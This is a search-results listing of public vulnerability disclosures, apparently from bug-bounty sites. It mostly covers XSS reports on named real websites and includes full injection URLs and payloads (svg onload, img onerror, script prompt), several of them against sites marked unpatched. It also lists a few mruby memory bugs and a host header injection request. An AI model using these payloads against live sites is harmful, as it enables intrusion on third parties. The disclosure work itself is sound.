20626 matches found
imamreza.net XSS vulnerability
Vulnerable URL: http://imamreza.net/arb/services/search.php Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:35 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 217677 VIP website status:| No Check imamreza.n...
alim.org XSS vulnerability
Vulnerable URL: http://www.alim.org/search/node/";alert'OPENBUGBOUNTY'...
taisirportal.kacst.edu.sa XSS vulnerability
Vulnerable URL: http://taisirportal.kacst.edu.sa/KACSTSSOeLogin/Login.jsp?p6y=...
mintvine.com XSS vulnerability
Vulnerable URL: https://www.mintvine.com/?utmsource=knoxss.me...
dealsplus.com XSS vulnerability
Vulnerable URL: https://www.dealsplus.com//"'--!confirmOPENBUGBOUNTY...
partners.subaru.com XSS vulnerability
Vulnerable URL: https://partners.subaru.com/customloginpage/pages/login.jsp?requestid=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...
sinonimos.com.br XSS vulnerability
Vulnerable URL: https://www.sinonimos.com.br//"'--!confirmOPENBUGBOUNTY...
sinonimos.com.br XSS vulnerability
Vulnerable URL: https://www.sinonimos.com.br//"'--!confirmOPENBUGBOUNTY...
accounts.cancer.org XSS vulnerability
Vulnerable URL: https://accounts.cancer.org/logout?redirectURL=https://www.xssposed.org/...
estrading.com.au XSS vulnerability
Vulnerable URL: http://www.estrading.com.au/scripts/showimage.asp?imagename="'--!confirmOPENBUGBOUNTY...
Mail.ru: Дубликат: https://hackerone.com/reports/219171 (доступ к аккаунту, через сброс пароля)
duplicate: https://hackerone.com/reports/219171...
shopify-scripts: heap use after free in fiber_switch
@ssarong reported an input that triggers a heap use-after-free: https://github.com/mruby/mruby/issues/3619 The issue was addressed upstream in https://github.com/mruby/mruby/commit/15fba69710c7395b4e9523edb191ef84f672fa28...
Homebrew: Host header Injection
HI SECURITY TEAM Here is host header injection. Request changing host to www.google.com GET / HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 Windows NT 6.1; rv:24.0 Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language:...
gleim.com XSS vulnerability
Vulnerable URL: http://www.gleim.com/accounting/products.php/"'--!confirmOPENBUGBOUNTY...
customink.com XSS vulnerability
Vulnerable URL: https://www.customink.com/clipart/search?utf8=1=xhr=addArtgallerysearchResults=...
shopify-scripts: Null pointer dereferences in kh_copy_mt
@ssarong reported an input that triggers a null pointer dereference: https://github.com/mruby/mruby/pull/3615 The issue was addressed in https://github.com/mruby/mruby/commit/de969942338ac440294eefb2e7846a6975f4efdd...
treasureinlove.com XSS vulnerability
Vulnerable URL: http://www.treasureinlove.com/?treasureinlove.com/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:34 GMT Vulnerability type:| XSS Vulnerability status:|...
publika.az XSS vulnerability
Vulnerable URL: http://publika.az/search.php?query=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%28%2FOPENBUGBOUNTY%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...